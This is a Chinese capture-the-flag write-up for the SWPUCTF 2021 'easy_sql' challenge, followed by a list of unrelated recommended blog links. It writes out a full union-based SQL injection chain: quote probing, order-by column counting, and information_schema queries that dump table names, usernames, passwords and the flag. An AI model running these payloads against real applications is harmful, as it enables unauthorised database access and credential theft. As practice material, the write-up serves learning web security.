[SWPUCTF 2021 新生赛]easy_sql

1.题目

2.打开题目如图

文章的标题说参数是wllm,那么我们传入参数测试,返回如下,我们试试1'去找注入类型

注入类型

数字型sql注入

字符型sql注入

我们传入wllm=1'的时候发现报错了,然后使用注释符闭合,不报错了,所以是字符型注入闭合为单引号

3.构造payload语句解题

1' order by 1--+ //正常

1' order by 2 --+ //正常

1' order by 3 --+ //正常

1' order by 4 --+ //报错

........................

我们可以知道这个数据库有4列,然后我们来判断回显点

语句:-1' union select 1,2,3--+ //这个闭合使用%23和--+都可以 ||'也可以闭合,这里没有返回回显点,忘记了需要用-1或这个不存在的,这样它差不到数据,才返回回显点

如下图,成功回显

发现有两个回显点,用哪个都可以,构造语句查看数据库

-1'union select 1,database(),3--+

查到数据库的名字是test_db然后通过数据库去查表名

-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+

得到了一个test_db和一个users表

通过表名去查字段

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

查到了一堆的字段,其中username和password比较敏感,我们去看这两个字段的内容

-1'union select 1,group_concat(username,password),3 from test_db.users--+

很抱歉,这里发现flag不在username和password字段,而是再test_tb表中的flag字段中

-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb'--

相关推荐
zgl_20053779几秒前
ZGLanguage 解析SQL数据血缘 之 提取子查询语句中的源表名
大数据·数据库·数据仓库·hive·hadoop·sql·etl
qinyia6 分钟前
如何安全清理以 amis 开头的容器与镜像
运维·数据库·人工智能·mysql·ssh
Data_agent8 分钟前
Eastmallbuy模式淘宝/1688代购系统搭建指南
java·运维·数据库
Knight_AL8 分钟前
从 QueryWrapper 到 XML:一次「报表 SQL」的重构实践
xml·sql·重构
不过如此195113 分钟前
Jira系统中JQL语句的介绍
python·sql·jira
代码游侠17 分钟前
应用——Linux Framebuffer 图形库显示
linux·运维·服务器·数据库·笔记·算法
金仓数据库20 分钟前
金仓时序数据库 | 以融合之力,破解工业实时数据之困
数据库·时序数据库
云草桑25 分钟前
C#性能优化SQL中left join与exists linq ORM sqlsuger
sql·mysql·c#·linq·sql优化
禾黍黎26 分钟前
ElasticSearch+Logstash 对 数据库数据进行转换和检索
大数据·数据库·elasticsearch
Nan_Shu_61427 分钟前
学习:Redis (1)
数据库·redis·学习